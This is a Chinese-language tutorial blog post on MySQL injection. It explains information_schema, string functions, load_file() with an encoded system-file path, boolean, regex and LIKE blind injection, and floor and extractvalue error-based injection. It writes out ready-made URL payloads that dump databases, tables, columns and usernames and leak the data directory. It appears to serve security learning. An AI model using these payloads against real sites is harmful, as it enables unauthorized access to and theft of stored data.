【网络安全】MySql安全总结

前言

mysql是目前用处最广泛数据库之一,作为安全从业者,详细系统的了解它的问题很有必要

介绍

MySQL 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司。MySQL 是一种关联数据库管理系统,MySQL 的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策,它分为社区版和商业版,一般中小型网站的开发选择 MySQL 作为网站数据库。

Mysql 基础

information_schema
MySQL自带的系统数据库,当中大部分是我们需要了结的信息,比如字符集,权限相关,数据库实体对象信息,外检约束,分区,压缩表,表信息,索引信息,参数,优化,锁和事物等等。所以可以利用这个数据库来进行注入。

--存储mysql数据库下面的所有表名信息的表
information_schema.tables
    --数据库名 : table_schema
    --表名 : Table_name

-- 存储mysql数据库下面的所有列名信息的表
information_schema.columns
    -- 表名 : table_name

常见系统函数和变量

  • version() -- MySQL版本
  • user() -- 数据库用户名
  • database() -- 数据库名
  • @@datadir -- 数据库路径
  • @@basedir -- 安装路径
  • @@version_compile_os -- 操作系统版本

字符连接函数
concat(str1,str2,...)
将字符串拼接
concat_ws(separator,str1,str2,...)
将字符串有间隔的拼接
group_concat(str1,str2,...)
将字符串拼接,但是间隔一个逗号
截取字符串函数
mid()
此函数为截取字符串一部分。

MID(column_name,start[,length])
-- column_name  : 必需。要提取字符的字段。
-- start        : 必需。规定开始位置(起始值是 1)。
-- length       : 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

例如 : str="abc" mid(str,2,1) 结果为b
substr()
Substr() 和 substring() 函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)
string substr(string, start, length)
-- 参数描述同 mid() 函数,第一个参数为要处理的字符串,start 为开始位置,length 为截取的长度。

Left()
得到字符串左部指定个数的字符

Left ( string, n )
-- string 为要截取的字符串,n 为长度。

文件读取函数
load_file()
load_file():以文本方式读取文件,在 Windows 中,路径设置为 \
读取文件并返回该文件的内容作为一个字符串。
例如:select1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

sql注入

最简单的单引号 双引号 括号闭合 联合查询就不在这里说了
并且post cookie注入 http头注入不会在这里出现,因为本质和get都相同

盲注

何为盲注? 盲注就是在 sql 注入过程中, sql 语句执行的选择后, 选择的数据不能回显到前端页面。 此时, 我们需要利用一些方法进行判断或者尝试, 这个过程称之为盲注。我们可以知道盲注分为三类
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注

基于布尔 SQL 盲注

这是根据网页是否正常显示来判断

left函数

当前数据库是security

select left(database(),1)>'a'; //查询数据库的名字并且获取前一个字符和s的ascii码进行比较

因为第一个字符是s大于a ,结果返回1,否则为0

如果我们知道第一个字符是s了,那么查询第二个字符就把1改为2,这样就变为se和sc进行比较,因为se>sc所以返回结果为1,这里第一个字符s=s是可以相等了,他会看第二个字符

substr()函数, ascii()函数

u
substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度(注意起始位置是1不是0)
Ascii()将某个字符转换为 ascii 值

ORD()函数, MID()函数

ord同ascii mid同substr

正则表达式

利用regexp函数

因为匹配到了会返回1匹配不对会返回0,我们可以用and来判断网页是否正确回显来看

这里的if可以去掉,因为默认就是返回1和0

select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
select * from users where id=1 and 1=(user() regexp '^r');

 实际利用

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

我们要查询表的名字,因为没有回显所以使用正则表达式来判断,如果成功会返回1,失败会返回空

如何知道匹配结束,一般是根据正则表达式变为 FALSE 说明后面没有字符了
'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE
但是如果是存在有字符的情况下,这样也会出现FALSE的情况,比如user_a,字母r之后虽然判断为flase了,但是并没有结束,我们可以更换正则表达式table_name regexp '^user$' ,判断是否是这个字符,^是从开头进行匹配, $是从结尾开始判断。
详情的正则表达式可以看链接

like 匹配注入

和上述的正则类似, mysql 在匹配的时候我们可以用 like 进行匹配

基于报错的 SQL 盲注

本来网页是不显示信息的,但是我们可以构造 payload 让信息通过错误提示回显出来

Floor报错注入

首先介绍几个函数
floor函数:向下取整

rand函数:随机产生0-1之前的随机数

但是如果给他传入一个固定参数,他就会产生一个伪随机数,并且数字不变这个随机数就一直不变

当我们乘2之后要不大于1要不小于1,所以floor得出的结果要不是0要不是1

count(*) 返回group分组之后的行的数量
当我们输入这条命令

select count(*),floor(rand(0)*2) x from users group by x;

如果加上database() 

select count(*),concat(database(),floor(rand(0)*2)) x from users group by x;

我们发现爆出了数据库
原理分析 见Mysql报错注入之floor(rand(0)*2)报错原理探究
主要原因count(*)建立虚表计算数量时,因为计算时的rand和插入时的rand数值不同而引起的主键冲突从而报错,我们将数据库的名连接,于是就会把数据库名爆出来(本质上报的是冲突的主键名)
实际利用

floor
# 爆出当前数据库
?id=1' and (select 1 from (select concat((select database()),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出所有的数据库 通过limit来控制
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出表名
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出字段
?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出数据
?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

我们可以控制where之后的语句 加上一个and 即可运行
同理ceil函数其实也是取整数,和floor函数效果是一样的

extractvalue函数

extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
payload:

and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));

第一个参数随便输入,我们需要的是第二个参数 因为0x7e是~的16进制,不符合xpath语法的

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值